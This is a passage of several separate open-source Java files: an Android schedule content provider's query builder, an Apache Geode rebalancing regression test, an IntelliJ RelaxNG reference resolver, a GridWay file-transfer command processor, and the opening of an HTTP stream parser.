.map(Blocks.CONTAINS_STARRED, Subquery.BLOCK_CONTAINS_STARRED)
.mapToTable(Sessions._ID, Tables.SESSIONS)
.mapToTable(Sessions.SESSION_ID, Tables.SESSIONS)
.mapToTable(Sessions.BLOCK_ID, Tables.SESSIONS)
.mapToTable(Sessions.ROOM_ID, Tables.SESSIONS)
.where(Qualified.SESSIONS_BLOCK_ID + "=?", blockId);
}
case TWEETS: {
return builder.table(Tables.TWEETS);
}
case ROOMS: {
return builder.table(Tables.ROOMS);
}
case ROOMS_ID: {
final String roomId = Rooms.getRoomId(uri);
return builder.table(Tables.ROOMS)
.where(Rooms.ROOM_ID + "=?", roomId);
}
case ROOMS_ID_SESSIONS: {
final String roomId = Rooms.getRoomId(uri);
return builder.table(Tables.SESSIONS_JOIN_BLOCKS_ROOMS)
.mapToTable(Sessions._ID, Tables.SESSIONS)
.mapToTable(Sessions.BLOCK_ID, Tables.SESSIONS)
.mapToTable(Sessions.ROOM_ID, Tables.SESSIONS)
.where(Qualified.SESSIONS_ROOM_ID + "=?", roomId);
}
case SESSIONS: {
return builder.table(Tables.SESSIONS_JOIN_BLOCKS_ROOMS)
.mapToTable(Sessions._ID, Tables.SESSIONS)
.mapToTable(Sessions.BLOCK_ID, Tables.SESSIONS)
.mapToTable(Sessions.ROOM_ID, Tables.SESSIONS);
}
case SESSIONS_STARRED: {
return builder.table(Tables.SESSIONS_JOIN_BLOCKS_ROOMS)
.mapToTable(Sessions._ID, Tables.SESSIONS)
.mapToTable(Sessions.BLOCK_ID, Tables.SESSIONS)
.mapToTable(Sessions.ROOM_ID, Tables.SESSIONS)
.where(Sessions.SESSION_STARRED + "=1");
}
case SESSIONS_SEARCH: {
final String query = Sessions.getSearchQuery(uri);
return builder.table(Tables.SESSIONS_SEARCH_JOIN_SESSIONS_BLOCKS_ROOMS)
.map(Sessions.SEARCH_SNIPPET, Subquery.SESSIONS_SNIPPET)
.mapToTable(Sessions._ID, Tables.SESSIONS)
.mapToTable(Sessions.SESSION_ID, Tables.SESSIONS)
.mapToTable(Sessions.BLOCK_ID, Tables.SESSIONS)
.mapToTable(Sessions.ROOM_ID, Tables.SESSIONS)
.where(SessionsSearchColumns.BODY + " MATCH ?", query);
}
case SESSIONS_AT: {
final List<String> segments = uri.getPathSegments();
final String time = segments.get(2);
return builder.table(Tables.SESSIONS_JOIN_BLOCKS_ROOMS)
.mapToTable(Sessions._ID, Tables.SESSIONS)
.mapToTable(Sessions.BLOCK_ID, Tables.SESSIONS)
.mapToTable(Sessions.ROOM_ID, Tables.SESSIONS)
.where(Sessions.BLOCK_START + "<=?", time)
.where(Sessions.BLOCK_END + ">=?", time);
}
case SESSIONS_ID: {
final String sessionId = Sessions.getSessionId(uri);
return builder.table(Tables.SESSIONS_JOIN_BLOCKS_ROOMS)
.mapToTable(Sessions._ID, Tables.SESSIONS)
.mapToTable(Sessions.BLOCK_ID, Tables.SESSIONS)
.mapToTable(Sessions.ROOM_ID, Tables.SESSIONS)
.where(Qualified.SESSIONS_SESSION_ID + "=?", sessionId);
}
case SPEAKERS: {
return builder.table(Tables.SPEAKERS);
}
case SPEAKERS_ID: {
final String speakerId = Speakers.getSpeakerId(uri);
return builder.table(Tables.SPEAKERS)
.where(Speakers.SPEAKER_ID + "=?", speakerId);
}
case SPEAKERS_SEARCH: {
final String query = Speakers.getSearchQuery(uri);
return builder.table(Tables.SPEAKERS);
}
default: {
throw new UnsupportedOperationException("Unknown uri: " + uri);
}
}
}
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
final int match = sUriMatcher.match(uri);
switch (match) {
default: {
throw new UnsupportedOperationException("Unknown uri: " + uri);
}
}
}
private interface Subquery {
String BLOCK_SESSIONS_COUNT = "(SELECT COUNT(" + Qualified.SESSIONS_SESSION_ID + ") FROM "
+ Tables.SESSIONS + " WHERE " + Qualified.SESSIONS_BLOCK_ID + "="
+ Qualified.BLOCKS_BLOCK_ID + ")";
String BLOCK_CONTAINS_STARRED = "(SELECT MAX(" + Qualified.SESSIONS_STARRED + ") FROM "
+ Tables.SESSIONS + " WHERE " + Qualified.SESSIONS_BLOCK_ID + "="
+ Qualified.BLOCKS_BLOCK_ID + ")";
String BLOCK_COUNT_STARRED = "(SELECT COUNT(" + Qualified.SESSIONS_STARRED + ") FROM "
+ Tables.SESSIONS + " WHERE " + Qualified.SESSIONS_BLOCK_ID + "="
+ Qualified.BLOCKS_BLOCK_ID + " AND " + Qualified.SESSIONS_STARRED + "=1)";
String BLOCK_TITLE_STARRED = "(SELECT GROUP_CONCAT(" + Qualified.SESSIONS_TITLE + ", '#') FROM "
+ Tables.SESSIONS + " WHERE " + Qualified.SESSIONS_BLOCK_ID + "="
+ Qualified.BLOCKS_BLOCK_ID + " AND " + Qualified.SESSIONS_STARRED + "=1)";
String SESSIONS_SNIPPET = "snippet(" + Tables.SESSIONS_SEARCH + ",'{','}','\u2026')";
}
/**
* {@link ScheduleContract} fields that are fully qualified with a specific
* parent {@link Tables}. Used when needed to work around SQL ambiguity.
*/
private interface Qualified {
String SESSIONS_SESSION_ID = Tables.SESSIONS + "." + Sessions.SESSION_ID;
String SESSIONS_BLOCK_ID = Tables.SESSIONS + "." + Sessions.BLOCK_ID;
String SESSIONS_ROOM_ID = Tables.SESSIONS + "." + Sessions.ROOM_ID;
String SESSIONS_STARRED = Tables.SESSIONS + "." + Sessions.SESSION_STARRED;
String SESSIONS_TITLE = Tables.SESSIONS + "." + Sessions.SESSION_TITLE;
String BLOCKS_BLOCK_ID = Tables.BLOCKS + "." + Blocks.BLOCK_ID;
}
}
| |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more contributor license
* agreements. See the NOTICE file distributed with this work for additional information regarding
* copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance with the License. You may obtain a
* copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package org.apache.geode.internal.cache.partitioned;
import static org.apache.geode.cache.EvictionAction.OVERFLOW_TO_DISK;
import static org.apache.geode.cache.EvictionAttributes.createLRUEntryAttributes;
import static org.apache.geode.test.dunit.Disconnect.disconnectAllFromDS;
import static org.apache.geode.test.dunit.VM.getVM;
import static org.assertj.core.api.Assertions.assertThat;
import java.io.File;
import java.io.IOException;
import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import java.util.Set;
import org.junit.After;
import org.junit.Before;
import org.junit.ClassRule;
import org.junit.Rule;
import org.junit.Test;
import org.apache.geode.cache.Cache;
import org.apache.geode.cache.DiskStore;
import org.apache.geode.cache.DiskStoreFactory;
import org.apache.geode.cache.PartitionAttributesFactory;
import org.apache.geode.cache.Region;
import org.apache.geode.cache.RegionFactory;
import org.apache.geode.cache.RegionShortcut;
import org.apache.geode.cache.control.RebalanceFactory;
import org.apache.geode.cache.control.RebalanceOperation;
import org.apache.geode.cache.control.ResourceManager;
import org.apache.geode.internal.cache.BucketRegion;
import org.apache.geode.internal.cache.PartitionedRegion;
import org.apache.geode.test.dunit.VM;
import org.apache.geode.test.dunit.rules.CacheRule;
import org.apache.geode.test.dunit.rules.DistributedRule;
import org.apache.geode.test.junit.rules.serializable.SerializableTemporaryFolder;
import org.apache.geode.test.junit.rules.serializable.SerializableTestName;
/**
* Moving a bucket during rebalancing should update overflow stats (numEntriesInVM and
* numOverflowOnDisk).
*
* <p>
* GEODE-3566: Moving a bucket during rebalancing does not update overflow stats
*/
@SuppressWarnings("serial")
public class BucketRebalanceStatRegressionTest implements Serializable {
private static final String REGION_NAME = "TestRegion";
private static final int TOTAL_NUMBER_BUCKETS = 2;
private static final int LRU_ENTRY_COUNT = 4;
private static final int ENTRIES_IN_REGION = 20;
private static final int BYTES_SIZE = 100;
private VM vm0;
private VM vm1;
@ClassRule
public static DistributedRule distributedRule = new DistributedRule();
@Rule
public CacheRule cacheRule = new CacheRule();
@Rule
public SerializableTemporaryFolder temporaryFolder = new SerializableTemporaryFolder();
@Rule
public SerializableTestName testName = new SerializableTestName();
@Before
public void setUp() throws Exception {
vm0 = getVM(0);
vm1 = getVM(1);
}
@After
public void tearDown() throws Exception {
disconnectAllFromDS();
}
@Test
public void statsUpdatedAfterRebalancePersistentOverflowPR() throws Exception {
initializeRegions(RegionShortcut.PARTITION_PERSISTENT, true);
validateInitialOverflowStats();
validateInitialRegion();
validateStatsUpdatedAfterRebalance();
}
@Test
public void statsUpdatedAfterRebalanceOverflowPR() throws Exception {
initializeRegions(RegionShortcut.PARTITION, true);
validateInitialOverflowStats();
validateInitialRegion();
validateStatsUpdatedAfterRebalance();
}
@Test
public void statsUpdatedAfterRebalancePersistentPR() throws Exception {
initializeRegions(RegionShortcut.PARTITION_PERSISTENT, false);
validateInitialRegion();
validateStatsUpdatedAfterRebalance();
}
/**
* Verify that overflow stats are updated when a bucket moves due to rebalancing.
*/
private void validateStatsUpdatedAfterRebalance() {
vm0.invoke(() -> rebalance());
assertThat(vm0.invoke(() -> cacheRule.getCache().getRegion(REGION_NAME).size()))
.isEqualTo(ENTRIES_IN_REGION);
assertThat(vm1.invoke(() -> cacheRule.getCache().getRegion(REGION_NAME).size()))
.isEqualTo(ENTRIES_IN_REGION);
assertThat(vm0.invoke(() -> ((PartitionedRegion) (cacheRule.getCache().getRegion(REGION_NAME)))
.getLocalBucketsListTestOnly().size())).isEqualTo(TOTAL_NUMBER_BUCKETS / 2);
assertThat(vm1.invoke(() -> ((PartitionedRegion) (cacheRule.getCache().getRegion(REGION_NAME)))
.getLocalBucketsListTestOnly().size())).isEqualTo(TOTAL_NUMBER_BUCKETS / 2);
validateOverflowStats(vm0, "vm0");
validateOverflowStats(vm1, "vm1");
}
/**
* Initialize region on the distributed members.
*
* @param shortcut The region shortcut to use to create the region.
* @param overflow If true, use overflow on the region, false otherwise.
*/
private void initializeRegions(final RegionShortcut shortcut, final boolean overflow) {
// arrange: create regions and data
vm0.invoke(() -> createRegion(shortcut, overflow));
vm0.invoke(() -> loadRegion());
vm1.invoke(() -> createRegion(shortcut, overflow));
}
/**
* Do validation on the initial region before rebalancing. It is expected that all buckets and
* data live on vm0; vm1 does not host any buckets.
*/
private void validateInitialRegion() {
assertThat(vm0.invoke(() -> cacheRule.getCache().getRegion(REGION_NAME).size()))
.isEqualTo(ENTRIES_IN_REGION);
assertThat(vm1.invoke(() -> cacheRule.getCache().getRegion(REGION_NAME).size()))
.isEqualTo(ENTRIES_IN_REGION);
assertThat(vm0.invoke(() -> ((PartitionedRegion) (cacheRule.getCache().getRegion(REGION_NAME)))
.getLocalBucketsListTestOnly().size())).isEqualTo(TOTAL_NUMBER_BUCKETS);
assertThat(vm1.invoke(() -> ((PartitionedRegion) (cacheRule.getCache().getRegion(REGION_NAME)))
.getLocalBucketsListTestOnly().size())).isEqualTo(0);
}
/**
* Do validation the initial region for the member containing all the data
*/
private void validateInitialOverflowStats() {
assertThat(vm0.invoke(() -> ((PartitionedRegion) (cacheRule.getCache().getRegion(REGION_NAME)))
.getDiskRegionStats().getNumEntriesInVM())).isEqualTo(LRU_ENTRY_COUNT);
assertThat(vm0.invoke(() -> ((PartitionedRegion) (cacheRule.getCache().getRegion(REGION_NAME)))
.getDiskRegionStats().getNumOverflowOnDisk()))
.isEqualTo(ENTRIES_IN_REGION - LRU_ENTRY_COUNT);
}
/**
* Validate that the overflow stats are as expected on the given member.
*/
private void validateOverflowStats(final VM vm, final String vmName) {
long[] overflowStats = vm.invoke(() -> getOverflowStats());
long[] overflowEntries = vm.invoke(() -> getActualOverflowEntries());
long statEntriesInVM = overflowStats[0];
long statEntriesOnDisk = overflowStats[1];
long actualEntriesInVM = overflowEntries[0];
long actualEntriesOnDisk = overflowEntries[1];
assertThat(actualEntriesInVM).as("entriesInVM for " + vmName).isEqualTo(statEntriesInVM);
assertThat(actualEntriesOnDisk).as("entriesOnDisk for " + vmName).isEqualTo(statEntriesOnDisk);
}
/**
* Rebalance the region, waiting for the rebalance operation to complete
*/
private void rebalance() throws Exception {
ResourceManager resourceManager = cacheRule.getCache().getResourceManager();
RebalanceFactory rebalanceFactory = resourceManager.createRebalanceFactory();
RebalanceOperation rebalanceOperation = rebalanceFactory.start();
// wait for rebalance to complete
assertThat(rebalanceOperation.getResults()).isNotNull();
}
/**
* Load the region with some data
*
*/
private void loadRegion() {
Region<Integer, byte[]> region = cacheRule.getCache().getRegion(REGION_NAME);
for (int i = 1; i <= ENTRIES_IN_REGION; i++) {
region.put(i, new byte[BYTES_SIZE]);
}
}
/**
* Return stats from the region's disk statistics, specifically the numEntriesInVM stat and the
* numOverflowOnDisk stat.
*
* @return [0] numEntriesInVM stat [1] numOverflowOnDisk stat
*/
private long[] getOverflowStats() {
Region<Integer, byte[]> region = cacheRule.getCache().getRegion(REGION_NAME);
PartitionedRegion partitionedRegion = (PartitionedRegion) region;
long numEntriesInVM = partitionedRegion.getDiskRegionStats().getNumEntriesInVM();
long numOverflowOnDisk = partitionedRegion.getDiskRegionStats().getNumOverflowOnDisk();
return new long[] {numEntriesInVM, numOverflowOnDisk};
}
/**
* Return the actual values for entries in the jvm (in memory) and entries on disk. These values
* are the sum of all buckets in the current member.
*
* @return [0] total entries in VM [1] total entries on disk
*/
private long[] getActualOverflowEntries() {
Region<Integer, byte[]> region = cacheRule.getCache().getRegion(REGION_NAME);
PartitionedRegion partitionedRegion = (PartitionedRegion) region;
int totalBucketEntriesInVM = 0;
int totalBucketEntriesOnDisk = 0;
Set<Entry<Integer, BucketRegion>> buckets =
partitionedRegion.getDataStore().getAllLocalBuckets();
for (Map.Entry<Integer, BucketRegion> entry : buckets) {
BucketRegion bucket = entry.getValue();
if (bucket != null) {
totalBucketEntriesInVM += bucket.testHookGetValuesInVM();
totalBucketEntriesOnDisk += bucket.testHookGetValuesOnDisk();
}
}
return new long[] {totalBucketEntriesInVM, totalBucketEntriesOnDisk};
}
private void createRegion(final RegionShortcut shortcut, final boolean overflow)
throws IOException {
Cache cache = cacheRule.getOrCreateCache();
DiskStoreFactory diskStoreFactory = cache.createDiskStoreFactory();
diskStoreFactory.setDiskDirs(getDiskDirs());
DiskStore diskStore = diskStoreFactory.create(testName.getMethodName());
RegionFactory<Integer, byte[]> regionFactory = cache.createRegionFactory(shortcut);
regionFactory.setDiskStoreName(diskStore.getName());
regionFactory.setDiskSynchronous(true);
if (overflow) {
regionFactory
.setEvictionAttributes(createLRUEntryAttributes(LRU_ENTRY_COUNT, OVERFLOW_TO_DISK));
}
PartitionAttributesFactory<Integer, byte[]> paf = new PartitionAttributesFactory<>();
paf.setRedundantCopies(0);
paf.setTotalNumBuckets(TOTAL_NUMBER_BUCKETS);
regionFactory.setPartitionAttributes(paf.create());
regionFactory.create(REGION_NAME);
}
private File[] getDiskDirs() throws IOException {
File dir = temporaryFolder.newFolder("disk" + VM.getCurrentVMNum()).getAbsoluteFile();
return new File[] {dir};
}
}
| |
/*
* Copyright 2007 Sascha Weinreuter
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.intellij.plugins.relaxNG.compact.psi.impl;
import com.intellij.codeInsight.daemon.EmptyResolveMessageProvider;
import com.intellij.codeInsight.daemon.QuickFixProvider;
import com.intellij.codeInsight.daemon.impl.HighlightInfo;
import com.intellij.codeInsight.daemon.impl.quickfix.QuickFixAction;
import com.intellij.codeInsight.intention.IntentionAction;
import com.intellij.lang.ASTNode;
import com.intellij.openapi.editor.Editor;
import com.intellij.openapi.editor.ScrollType;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.util.TextRange;
import com.intellij.psi.*;
import com.intellij.psi.util.PsiTreeUtil;
import com.intellij.util.ArrayUtil;
import com.intellij.util.Function;
import com.intellij.util.IncorrectOperationException;
import com.intellij.util.containers.ContainerUtil;
import org.intellij.plugins.relaxNG.compact.RncFileType;
import org.intellij.plugins.relaxNG.compact.RncTokenTypes;
import org.intellij.plugins.relaxNG.compact.psi.*;
import org.intellij.plugins.relaxNG.compact.psi.util.EscapeUtil;
import org.intellij.plugins.relaxNG.compact.psi.util.RenameUtil;
import org.intellij.plugins.relaxNG.model.Define;
import org.intellij.plugins.relaxNG.model.resolve.DefinitionResolver;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import java.util.Map;
import java.util.Set;
/**
* Created by IntelliJ IDEA.
* User: sweinreuter
* Date: 13.08.2007
*/
class PatternReference extends PsiReferenceBase.Poly<RncRef> implements Function<Define, ResolveResult>,
QuickFixProvider<PatternReference>, EmptyResolveMessageProvider {
public PatternReference(RncRef ref) {
super(ref);
}
public TextRange getRangeInElement() {
final ASTNode node = findNameNode();
if (node == null) return TextRange.from(0, 0);
final int offset = myElement.getTextOffset();
return TextRange.from(offset - myElement.getTextRange().getStartOffset(), node.getTextLength());
}
private ASTNode findNameNode() {
final ASTNode node = myElement.getNode();
assert node != null;
return node.findChildByType(RncTokenTypes.IDENTIFIERS);
}
@Nullable
public PsiElement resolve() {
final ResolveResult[] results = multiResolve(false);
return results.length == 1 ? results[0].getElement() : null;
}
@NotNull
public ResolveResult[] multiResolve(boolean incompleteCode) {
final RncGrammar scope = getScope();
if (scope == null) {
return ResolveResult.EMPTY_ARRAY;
}
final Set<Define> set = DefinitionResolver.resolve(scope, getCanonicalText());
if (set == null || set.size() == 0) return ResolveResult.EMPTY_ARRAY;
return ContainerUtil.map2Array(set, ResolveResult.class, this);
}
public ResolveResult fun(Define rncDefine) {
final PsiElement element = rncDefine.getPsiElement();
return element != null ? new PsiElementResolveResult(element) : new ResolveResult() {
@Nullable
public PsiElement getElement() {
return null;
}
public boolean isValidResult() {
return false;
}
};
}
@Nullable
protected RncGrammar getScope() {
return PsiTreeUtil.getParentOfType(myElement, RncGrammar.class, true, PsiFile.class);
}
public String getCanonicalText() {
final ASTNode node = findNameNode();
return node != null ? EscapeUtil.unescapeText(node) : "";
}
public PsiElement handleElementRename(String newElementName) throws IncorrectOperationException {
final ASTNode newNode = RenameUtil.createIdentifierNode(getElement().getManager(), newElementName);
final ASTNode nameNode = findNameNode();
nameNode.getTreeParent().replaceChild(nameNode, newNode);
return getElement();
}
public PsiElement bindToElement(@NotNull PsiElement element) throws IncorrectOperationException {
throw new UnsupportedOperationException();
}
@NotNull
public Object[] getVariants() {
final RncGrammar scope = getScope();
if (scope == null) {
return ResolveResult.EMPTY_ARRAY;
}
final Map<String, Set<Define>> map = DefinitionResolver.getAllVariants(scope);
if (map == null || map.size() == 0) return ArrayUtil.EMPTY_OBJECT_ARRAY;
return ContainerUtil.mapNotNull(map.values(), new Function<Set<Define>, Object>() {
public Object fun(Set<Define> defines) {
return defines.size() == 0 ? null : defines.iterator().next().getPsiElement();
}
}).toArray();
}
public boolean isSoft() {
return false;
}
public String getUnresolvedMessagePattern() {
return "Unresolved pattern reference ''{0}''";
}
public void registerQuickfix(HighlightInfo info, final PatternReference reference) {
if (reference.getScope() == null) {
return;
}
QuickFixAction.registerQuickFixAction(info, new CreatePatternFix(reference));
}
static class CreatePatternFix implements IntentionAction {
private final PatternReference myReference;
public CreatePatternFix(PatternReference reference) {
myReference = reference;
}
@NotNull
public String getText() {
return "Create Pattern '" + myReference.getCanonicalText() + "'";
}
@NotNull
public String getFamilyName() {
return "Create Pattern";
}
public boolean isAvailable(@NotNull Project project, Editor editor, PsiFile file) {
return myReference.getElement().isValid() && myReference.getScope() != null;
}
public void invoke(@NotNull Project project, Editor editor, PsiFile file) throws IncorrectOperationException {
final RncFile rncfile = (RncFile)PsiFileFactory.getInstance(myReference.getElement().getProject()).createFileFromText("dummy.rnc", RncFileType.getInstance(), "dummy = xxx");
final RncGrammar grammar = rncfile.getGrammar();
assert grammar != null;
final RncDefine def = (RncDefine)grammar.getFirstChild();
final RncGrammar scope = myReference.getScope();
assert scope != null;
assert def != null;
final RncDefine e = (RncDefine)scope.add(def);
// ensures proper escaping (start -> \start)
def.setName(myReference.getCanonicalText());
final SmartPsiElementPointer<RncDefine> p = SmartPointerManager.getInstance(project).createSmartPsiElementPointer(e);
final ASTNode blockNode = e.getParent().getNode();
assert blockNode != null;
final ASTNode newNode = e.getNode();
assert newNode != null;
e.getManager().getCodeStyleManager().reformatNewlyAddedElement(blockNode, newNode);
PsiDocumentManager.getInstance(project).doPostponedOperationsAndUnblockDocument(editor.getDocument());
final RncDefine d = p.getElement();
assert d != null;
final RncElement definition = d.getPattern();
assert definition != null;
final int offset = definition.getTextRange().getStartOffset();
editor.getCaretModel().moveToOffset(offset);
editor.getScrollingModel().scrollToCaret(ScrollType.MAKE_VISIBLE);
editor.getDocument().deleteString(offset, definition.getTextRange().getEndOffset());
}
public boolean startInWriteAction() {
return true;
}
}
}
| |
/* -------------------------------------------------------------------------- */
/* Copyright 2002-2006 GridWay Team, Distributed Systems Architecture */
/* Group, Universidad Complutense de Madrid */
/* */
/* Licensed under the Apache License, Version 2.0 (the "License"); you may */
/* not use this file except in compliance with the License. You may obtain */
/* a copy of the License at */
/* */
/* http://www.apache.org/licenses/LICENSE-2.0 */
/* */
/* Unless required by applicable law or agreed to in writing, software */
/* distributed under the License is distributed on an "AS IS" BASIS, */
/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */
/* See the License for the specific language governing permissions and */
/* limitations under the License. */
/* -------------------------------------------------------------------------- */
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
import java.util.StringTokenizer;
/**
* RFT driver for GridWay. The commands are read from the standard input.
* Each line is a command.
*
*/
public class GWRftProcessor{
public static boolean end = false;
/**
* Parses the line to execute the command (the sintax is the same that GW used in the GridFTP driver)
* @param line
*/
public static boolean processLine(String line) {
boolean status;
String info = "";
String action;
int xfr_id = 0;
String cp_xfr_id_s;
int cp_xfr_id;
char modex;
String src_url;
String dst_url;
StringTokenizer st = new StringTokenizer(line, " ");
List list = new ArrayList();
int elem = 0;
while (st.hasMoreElements()) {
list.add(st.nextToken());
elem++;
}
if (elem != 6) {
System.out.println("FAILURE Not all four arguments defined");
return false;
}
action = (String)list.get(0);
try {
xfr_id = Integer.parseInt( (String)list.get(1) );
}catch (NumberFormatException nfe) {
//System.out.println("FAILURE xfr_id must be an integer");
//return false;
}
cp_xfr_id_s = (String)list.get(2);
modex = ((String)list.get(3)).charAt(0);
src_url = (String)list.get(4);
dst_url = (String)list.get(5);
if (action.equals("INIT")) {
try{
status = GWRftClient.gw_init(xfr_id);
}catch (Exception ex){
status = true;
//ex.printStackTrace();
info += ex.getMessage();
}
if (status) {
info += "Error delegating credentials";
} else {
System.out.println("INIT - - SUCCESS -");
}
} else if (action.equals("START")) {
status = GWRftClient.gw_add_xfr(xfr_id);
if (status) {
info += "Transfer " + xfr_id + " , already started, or invalid id";
} else {
System.out.println("START "+ xfr_id + " - SUCCESS -");
}
} else if (action.equals("END")) {
status = GWRftClient.gw_del_xfr(xfr_id);
if (status) {
info += "Transfer " + xfr_id + ", does not exists, or invalid id";
}
} else if (action.equals("RMDIR")) {
if (GWRftClient.gw_pool == null || GWRftClient.gw_pool.size() <= xfr_id || GWRftClient.gw_pool.get(xfr_id) == null)
{
status = true;
info += "Transfer " + xfr_id + ", does not exists, or invalid id";
}
else
{
List list_xfr = (List)GWRftClient.gw_pool.get(xfr_id);
GWRftResource xfr = new GWRftResource();
list_xfr.add(xfr);
xfr.setAction(action + " " + xfr_id + " - ");
try{
status = GWRftClient.gw_transfer_rmdir(xfr, src_url);
}catch(Exception ex) {
status = true;
//ex.printStackTrace();
info += ex.getMessage();
}
if (status) {
info += "Error in MKDIR command, not supported by server?";
}
}
}
// else if (strcmp(action, "EXISTS") == 0 )
// {
// if (gw_tm_ftp_xfr_pool[xfr_id] == NULL)
// {
// status = 1;
// sprintf(info,"Transfer %i, does not exists, or invalid id\n",xfr_id);
// }
// else
// {
// status = gw_tm_ftp_transfer_exists_dir(gw_tm_ftp_xfr_pool[xfr_id],src_url);
// if ( status == 1 )
// sprintf(info,"Error in EXISTS command, not supported by server?\n");
// }
// }
else if (action.equals("MKDIR")) {
// if (gw_tm_ftp_xfr_pool[xfr_id] == NULL)
if (GWRftClient.gw_pool == null || GWRftClient.gw_pool.size() <= xfr_id || GWRftClient.gw_pool.get(xfr_id) == null)
{
status = true;
info += "Transfer " + xfr_id + ", does not exists, or invalid id";
}
else
{
List list_xfr = (List)GWRftClient.gw_pool.get(xfr_id);
GWRftResource xfr = new GWRftResource();
list_xfr.add(xfr);
xfr.setAction(action + " " + xfr_id + " - ");
try {
status = GWRftClient.gw_transfer_mkdir(xfr, src_url);
}catch(Exception ex) {
status = true;
//ex.printStackTrace();
info += ex.getMessage();
}
if (status)
info += "Error in MKDIR command, not supported by server?";
}
}
else if (action.equals("CP")) {
// if (gw_tm_ftp_xfr_pool[xfr_id] == NULL)
if (GWRftClient.gw_pool == null || GWRftClient.gw_pool.size() <= xfr_id || GWRftClient.gw_pool.get(xfr_id) == null)
{
status = true;
info += "Transfer " + xfr_id + ", does not exists, or invalid id";
}
else
{
cp_xfr_id = Integer.parseInt(cp_xfr_id_s);
List list_xfr = (List)GWRftClient.gw_pool.get(xfr_id);
GWRftResource xfr = new GWRftResource();
list_xfr.add(xfr);
xfr.setAction(action + " " + xfr_id + " " + cp_xfr_id + " ");
try {
status = GWRftClient.gw_transfer_url_to_url(xfr,
cp_xfr_id,
src_url,
dst_url,
modex);
}catch(Exception ex) {
status = true;
//ex.printStackTrace();
info += ex.getMessage();
}
if (status) {
System.out.println("CP " + xfr_id + " " + cp_xfr_id + " FAILURE Error in GASS URL2URL copy command: "+info);
}
status = false;
}
} else if (action.equals("FINALIZE")) {
end = true;
status = false;
} else {
status = true;
info += "Not valid action";
}
if (status) {
System.out.println(action + " " + xfr_id + " - FAILURE " + info);
}
return status;
}
/**
* @param args
*/
public static void main(String[] args) {
BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
try {
String line = null;
do {
line = in.readLine();
if (!line.startsWith("#")) {
processLine(line);
}
}while (!end && line != null);
in.close();
} catch (IOException ioe) {
System.err.println("IOException: " + ioe.getMessage());
System.exit(-1);
}
}
}
| |
package org.gavaghan.io;
import java.io.FilterInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.HashMap;
import java.util.Map;
import java.util.zip.GZIPInputStream;
/**
* Handle the reading of an HTTP stream.
*
* @author <a href="mailto:mike@gavaghan.org">Mike Gavaghan</a>
*/
public class HTTPInputStream extends FilterInputStream
{
/** Maximum length of a line. */
static private final int SIZE_LIMIT = 16 * 1024;
/** Push character. */
private int mPushChar = -1;
/** The request line. */
private HTTPRequestLine mRequestLine;
/** The headers. */
private HTTPHeaders mHeaders;
/** The content stream. */
private InputStream mContent;
/** Content-Length. */
private Long mContentLength;
/** Transfer encoding. */
private String mTransferEncoding;
/** Content encoding. */
private String mContentEncoding;
/** Accepted encodings. */
private Map<String, String> mAcceptEncoding = new HashMap<String, String>();
/** Chunked flag. */
private boolean mChunked = false;
/**
* Read the request line.
*
* @throws IOException
*/
private void readRequestLine() throws IOException
{
String line = readLine();
if (line == null) throw new HTTPException("End of stream when reading request line");
String remainder = line.trim();
int space;
space = remainder.indexOf(' ');
if (space < 0) throw new HTTPException("Illegal request line: " + line);
String verb = remainder.substring(0, space);
remainder = remainder.substring(space + 1).trim();
space = remainder.indexOf(' ');
if (space < 0) throw new HTTPException("Illegal request line: " + line);
String url = remainder.substring(0, space);
remainder = remainder.substring(space + 1).trim();
space = remainder.indexOf(' ');
if (space >= 0) throw new HTTPException("Illegal request line: " + line);
String version = remainder;
mRequestLine = new HTTPRequestLine(verb, url, version);
}
/**
* Read the header section.
*
* @throws IOException
*/
private void readHeaders() throws IOException
{
getRequestLine(); // be sure we advanced passed this
try
{
mHeaders = new HTTPHeaders();
String pushLine = null;
int size = 0;
for (;;)
{
// get start of header line
String line = (pushLine != null) ? pushLine : readLine();
pushLine = null;
if (line == null) break;
if (line.length() == 0) break; // only do this to untrimmed line
// look for continuations
for (;;)
{
String nextLine = readLine();
if (nextLine == null) break;
if ((nextLine.length() > 0) && Character.isWhitespace(nextLine.charAt(0)))
{
line = line.trim() + " " + nextLine.trim();
}
else
{
pushLine = nextLine;
break;
}
}
// Parse the header;
HTTPHeader header;
int colon = line.indexOf(':');
if (colon < 0)
{
// this is technically illegal
header = new HTTPHeader(line.trim(), "");
}
else
{
header = new HTTPHeader(line.substring(0, colon).trim(), line.substring(colon + 1).trim());
}
// size check
size += (line.length() + 2);
if (size > SIZE_LIMIT) throw new HTTPException("Header section exceeds maximum length of " + SIZE_LIMIT);
// check for specific headers
checkForSpecificHeaders(header);
// add to list
mHeaders.add(header);
}
}
catch (IOException exc)
{
mHeaders = null;
throw exc;
}
}
/**
* Give special handling to certain headers.
*
* @param header
* @throws HTTPException
*/
private void checkForSpecificHeaders(HTTPHeader header) throws HTTPException
{
if (header.getName() != null)
{
String name = header.getName().toLowerCase();
// Content-Length
if ("content-length".equals(name))
{
try
{
mContentLength = new Long(header.getValue());
}
catch (Exception exc)
{
throw new HTTPException("Illegal 'Content-Length' header: " + header);
}
}
// Transfer-Encoding
else if ("transfer-encoding".equals(name))
{
mTransferEncoding = header.getValue();
